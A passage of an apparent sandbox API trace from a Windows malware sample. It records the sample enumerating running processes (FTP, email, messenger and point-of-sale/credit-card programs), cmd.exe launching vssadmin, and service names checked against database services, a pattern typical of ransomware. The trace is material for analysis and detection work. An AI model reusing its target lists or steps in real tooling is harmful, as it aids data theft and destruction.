szExeFile="barca.exe")) returned 1 [0097.658] lstrlenW (lpString="barca.exe") returned 9 [0097.658] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0097.659] lstrlenW (lpString="bitkinex.exe") returned 12 [0097.659] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0097.660] lstrlenW (lpString="coreftp.exe") returned 11 [0097.660] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0097.661] lstrlenW (lpString="far.exe") returned 7 [0097.661] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x500, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0097.662] lstrlenW (lpString="filezilla.exe") returned 13 [0097.662] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0097.663] lstrlenW (lpString="flashfxp.exe") returned 12 [0097.663] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0097.664] lstrlenW (lpString="fling.exe") returned 9 [0097.664] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0097.665] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0097.665] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0097.665] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0097.666] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0097.666] lstrlenW (lpString="icq.exe") returned 7 [0097.666] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0097.667] lstrlenW (lpString="leechftp.exe") returned 12 [0097.667] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0097.669] lstrlenW (lpString="ncftp.exe") returned 9 [0097.669] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0097.670] lstrlenW (lpString="notepad.exe") returned 11 [0097.670] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0097.671] lstrlenW (lpString="operamail.exe") returned 13 [0097.671] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0097.672] lstrlenW (lpString="pidgin.exe") returned 10 [0097.672] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0097.673] lstrlenW (lpString="scriptftp.exe") returned 13 [0097.674] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0097.675] lstrlenW (lpString="skype.exe") returned 9 [0097.675] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0097.676] lstrlenW (lpString="smartftp.exe") returned 12 [0097.676] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0097.677] lstrlenW (lpString="thunderbird.exe") returned 15 [0097.677] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0097.678] lstrlenW (lpString="totalcmd.exe") returned 12 [0097.678] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0098.413] lstrlenW (lpString="trillian.exe") returned 12 [0098.413] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0098.414] lstrlenW (lpString="webdrive.exe") returned 12 [0098.414] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0098.415] lstrlenW (lpString="whatsapp.exe") returned 12 [0098.415] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0098.416] lstrlenW (lpString="winscp.exe") returned 10 [0098.416] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0098.417] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0098.417] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0098.431] lstrlenW (lpString="active-charge.exe") returned 17 [0098.432] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0098.433] lstrlenW (lpString="accupos.exe") returned 11 [0098.433] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0098.433] lstrlenW (lpString="afr38.exe") returned 9 [0098.434] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0098.434] lstrlenW (lpString="aldelo.exe") returned 10 [0098.435] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0098.435] lstrlenW (lpString="ccv_server.exe") returned 14 [0098.436] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x95c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0098.436] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0098.436] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x96c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0098.437] lstrlenW (lpString="creditservice.exe") returned 17 [0098.437] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x97c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0098.438] lstrlenW (lpString="edcsvr.exe") returned 10 [0098.439] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x98c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0098.440] lstrlenW (lpString="fpos.exe") returned 8 [0098.440] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0098.441] lstrlenW (lpString="isspos.exe") returned 10 [0098.441] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0098.442] lstrlenW (lpString="mxslipstream.exe") returned 16 [0098.442] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0098.443] lstrlenW (lpString="omnipos.exe") returned 11 [0098.443] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0098.444] lstrlenW (lpString="spcwin.exe") returned 10 [0098.444] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0098.445] lstrlenW (lpString="spgagentservice.exe") returned 19 [0098.445] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0098.445] lstrlenW (lpString="utg2.exe") returned 8 [0098.446] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="atlascomedy.exe")) returned 1 [0098.446] lstrlenW (lpString="atlascomedy.exe") returned 15 [0098.446] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="starting_terminal_failing.exe")) returned 1 [0098.447] lstrlenW (lpString="starting_terminal_failing.exe") returned 29 [0098.447] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="ntsc.exe")) returned 1 [0098.448] lstrlenW (lpString="ntsc.exe") returned 8 [0098.448] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="criteria.exe")) returned 1 [0098.449] lstrlenW (lpString="criteria.exe") returned 12 [0098.449] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0098.450] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0098.450] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0098.451] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0098.451] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0098.452] lstrlenW (lpString="taskhost.exe") returned 12 [0098.452] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0098.453] lstrlenW (lpString="winhost.exe") returned 11 [0098.453] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0098.454] lstrlenW (lpString="cmd.exe") returned 7 [0098.454] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x560, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x184, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0098.454] lstrlenW (lpString="conhost.exe") returned 11 [0098.454] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xc0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0098.455] lstrlenW (lpString="vssadmin.exe") returned 12 [0098.455] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0098.456] lstrlenW (lpString="VSSVC.exe") returned 9 [0098.456] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0098.457] lstrlenW (lpString="svchost.exe") returned 11 [0098.457] Process32NextW (in: hSnapshot=0x21c, lppe=0x21cfd34 | out: lppe=0x21cfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0098.457] CloseHandle (hObject=0x21c) returned 1 [0098.458] Sleep (dwMilliseconds=0x1f4) [0099.714] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x609890 [0099.930] EnumServicesStatusExW (in: hSCManager=0x609890, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21cff44, lpServicesReturned=0x21cff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21cff44, lpServicesReturned=0x21cff5c, lpResumeHandle=0x0) returned 0 [0100.066] GetLastError () returned 0xea [0100.066] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x12c6) returned 0x39777a0 [0100.066] EnumServicesStatusExW (in: hSCManager=0x609890, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x39777a0, cbBufSize=0x12c6, pcbBytesNeeded=0x21cff44, lpServicesReturned=0x21cff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x39777a0, pcbBytesNeeded=0x21cff44, lpServicesReturned=0x21cff5c, lpResumeHandle=0x0) returned 1 [0100.068] CloseServiceHandle (hSCObject=0x609890) returned 1 [0100.068] lstrlenW (lpString="Appinfo") returned 7 [0100.068] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0100.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0100.069] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0100.069] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0100.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0100.069] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0100.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0100.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0100.069] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0100.069] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0100.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0100.069] lstrlenW (lpString="AudioSrv") returned 8 [0100.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0100.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0100.069] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0100.069] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0100.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0100.069] lstrlenW (lpString="BFE") returned 3 [0100.069] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0100.069] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0100.069] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0100.069] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0100.069] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0100.069] lstrlenW (lpString="CryptSvc") returned 8 [0100.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0100.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0100.070] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0100.070] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0100.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0100.070] lstrlenW (lpString="CscService") returned 10 [0100.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0100.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0100.070] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0100.070] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0100.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0100.070] lstrlenW (lpString="DcomLaunch") returned 10 [0100.070] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0100.070] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0100.070] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0100.070] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0100.070] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0100.070] lstrlenW (lpString="Dhcp") returned 4 [0100.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0100.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0100.071] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0100.071] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0100.071] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0100.071] lstrlenW (lpString="Dnscache") returned 8 [0100.071] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0100.071] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0100.072] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0100.072] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0100.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0100.072] lstrlenW (lpString="DPS") returned 3 [0100.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0100.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0100.072] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0100.072] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0100.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0100.072] lstrlenW (lpString="eventlog") returned 8 [0100.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0100.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0100.072] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0100.072] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0100.072] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0100.072] lstrlenW (lpString="EventSystem") returned 11 [0100.072] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0100.072] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0100.072] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0100.072] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0100.072] 